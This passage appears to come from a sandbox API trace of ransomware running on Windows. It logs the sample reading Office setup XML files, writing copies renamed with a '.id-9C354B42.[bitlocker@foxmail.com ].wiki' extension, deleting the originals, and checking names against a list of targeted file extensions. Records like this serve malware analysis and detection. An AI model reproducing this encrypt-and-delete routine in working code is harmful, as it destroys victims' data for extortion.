hTemplateFile=0x0) returned 0x198 [0049.070] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.070] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.072] GetLastError () returned 0x0 [0049.072] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0049.073] WriteFile (in: hFile=0x19c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0049.074] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.074] WriteFile (in: hFile=0x19c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0049.074] SetEndOfFile (hFile=0x19c) returned 1 [0049.074] CloseHandle (hObject=0x19c) returned 1 [0049.075] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.075] SetEndOfFile (hFile=0x198) returned 1 [0049.076] CloseHandle (hObject=0x198) returned 1 [0049.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0049.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.076] lstrlenW (lpString=".doc") returned 4 [0049.076] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.076] lstrlenW (lpString=".docx") returned 5 [0049.076] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.076] lstrlenW (lpString=".pdf") returned 4 [0049.076] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.076] lstrlenW (lpString=".xls") returned 4 [0049.077] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString=".xlsx") returned 5 [0049.077] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.077] lstrlenW (lpString=".ppt") returned 4 [0049.077] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.077] lstrlenW (lpString=".zip") returned 4 [0049.077] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.077] lstrlenW (lpString=".rar") returned 4 [0049.077] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString=".bz2") returned 4 [0049.077] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString=".7z") returned 3 [0049.077] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.077] lstrlenW (lpString=".dbf") returned 4 [0049.077] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.077] lstrlenW (lpString=".1cd") returned 4 [0049.077] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.077] lstrlenW (lpString=".jpg") returned 4 [0049.077] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.077] lstrlenW (lpString=".doc") returned 4 [0049.077] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString=".docx") returned 5 [0049.077] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.077] lstrlenW (lpString=".pdf") returned 4 [0049.077] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString=".xls") returned 4 [0049.077] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.077] lstrlenW (lpString=".xlsx") returned 5 [0049.077] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0049.077] lstrlenW (lpString=".ppt") returned 4 [0049.078] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.078] lstrlenW (lpString=".zip") returned 4 [0049.078] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.078] lstrlenW (lpString=".rar") returned 4 [0049.078] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.078] lstrlenW (lpString=".bz2") returned 4 [0049.078] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.078] lstrlenW (lpString=".7z") returned 3 [0049.078] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.078] lstrlenW (lpString=".dbf") returned 4 [0049.078] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.078] lstrlenW (lpString=".1cd") returned 4 [0049.078] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0049.078] lstrlenW (lpString=".jpg") returned 4 [0049.078] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.078] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.078] lstrlenW (lpString="SETUP.XML") returned 9 [0049.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.079] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1872) returned 1 [0049.079] CloseHandle (hObject=0x198) returned 1 [0049.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0049.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.079] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.079] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.079] GetLastError () returned 0x0 [0049.079] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x750, lpOverlapped=0x0) returned 1 [0049.081] WriteFile (in: hFile=0x19c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x760, lpOverlapped=0x0) returned 1 [0049.082] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.082] WriteFile (in: hFile=0x19c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.082] SetEndOfFile (hFile=0x19c) returned 1 [0049.082] CloseHandle (hObject=0x19c) returned 1 [0049.083] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.083] SetEndOfFile (hFile=0x198) returned 1 [0049.083] CloseHandle (hObject=0x198) returned 1 [0049.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0049.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.084] lstrlenW (lpString=".doc") returned 4 [0049.084] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.084] lstrlenW (lpString=".docx") returned 5 [0049.084] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.084] lstrlenW (lpString=".pdf") returned 4 [0049.084] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.084] lstrlenW (lpString=".xls") returned 4 [0049.084] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.084] lstrlenW (lpString=".xlsx") returned 5 [0049.084] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.084] lstrlenW (lpString=".ppt") returned 4 [0049.084] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.084] lstrlenW (lpString=".zip") returned 4 [0049.084] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.084] lstrlenW (lpString=".rar") returned 4 [0049.084] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.084] lstrlenW (lpString=".bz2") returned 4 [0049.084] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.084] lstrlenW (lpString=".7z") returned 3 [0049.084] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.084] lstrlenW (lpString=".dbf") returned 4 [0049.085] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.085] lstrlenW (lpString=".1cd") returned 4 [0049.085] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.085] lstrlenW (lpString=".jpg") returned 4 [0049.085] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.085] lstrlenW (lpString=".doc") returned 4 [0049.085] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString=".docx") returned 5 [0049.085] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.085] lstrlenW (lpString=".pdf") returned 4 [0049.085] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString=".xls") returned 4 [0049.085] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString=".xlsx") returned 5 [0049.085] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.085] lstrlenW (lpString=".ppt") returned 4 [0049.085] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.085] lstrlenW (lpString=".zip") returned 4 [0049.085] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.085] lstrlenW (lpString=".rar") returned 4 [0049.085] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString=".bz2") returned 4 [0049.085] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString=".7z") returned 3 [0049.085] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.085] lstrlenW (lpString=".dbf") returned 4 [0049.085] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.086] lstrlenW (lpString=".1cd") returned 4 [0049.086] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0049.086] lstrlenW (lpString=".jpg") returned 4 [0049.086] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.086] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.086] lstrlenW (lpString="Proof.XML") returned 9 [0049.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.086] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1347) returned 1 [0049.086] CloseHandle (hObject=0x198) returned 1 [0049.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0049.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.086] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.087] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.087] GetLastError () returned 0x0 [0049.087] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x543, lpOverlapped=0x0) returned 1 [0049.363] WriteFile (in: hFile=0x19c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0049.364] ReadFile (in: hFile=0x198, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.364] WriteFile (in: hFile=0x19c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.364] SetEndOfFile (hFile=0x19c) returned 1 [0049.364] CloseHandle (hObject=0x19c) returned 1 [0049.365] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.365] SetEndOfFile (hFile=0x198) returned 1 [0049.365] CloseHandle (hObject=0x198) returned 1 [0049.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.366] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0049.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.366] lstrlenW (lpString=".doc") returned 4 [0049.366] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.366] lstrlenW (lpString=".docx") returned 5 [0049.366] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0049.366] lstrlenW (lpString=".pdf") returned 4 [0049.366] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.366] lstrlenW (lpString=".xls") returned 4 [0049.366] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.366] lstrlenW (lpString=".xlsx") returned 5 [0049.366] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0049.366] lstrlenW (lpString=".ppt") returned 4 [0049.366] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.366] lstrlenW (lpString=".zip") returned 4 [0049.366] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.366] lstrlenW (lpString=".rar") returned 4 [0049.367] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString=".bz2") returned 4 [0049.367] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString=".7z") returned 3 [0049.367] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.367] lstrlenW (lpString=".dbf") returned 4 [0049.367] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.367] lstrlenW (lpString=".1cd") returned 4 [0049.367] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.367] lstrlenW (lpString=".jpg") returned 4 [0049.367] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.367] lstrlenW (lpString=".doc") returned 4 [0049.367] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString=".docx") returned 5 [0049.367] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0049.367] lstrlenW (lpString=".pdf") returned 4 [0049.367] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString=".xls") returned 4 [0049.367] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString=".xlsx") returned 5 [0049.367] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0049.367] lstrlenW (lpString=".ppt") returned 4 [0049.367] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.367] lstrlenW (lpString=".zip") returned 4 [0049.367] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.367] lstrlenW (lpString=".rar") returned 4 [0049.367] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.367] lstrlenW (lpString=".bz2") returned 4 [0049.368] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.368] lstrlenW (lpString=".7z") returned 3 [0049.368] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.368] lstrlenW (lpString=".dbf") returned 4 [0049.368] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.368] lstrlenW (lpString=".1cd") returned 4 [0049.368] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0049.368] lstrlenW (lpString=".jpg") returned 4 [0049.368] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.368] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.368] lstrlenW (lpString="SETUP.XML") returned 9 [0049.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.584] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6241) returned 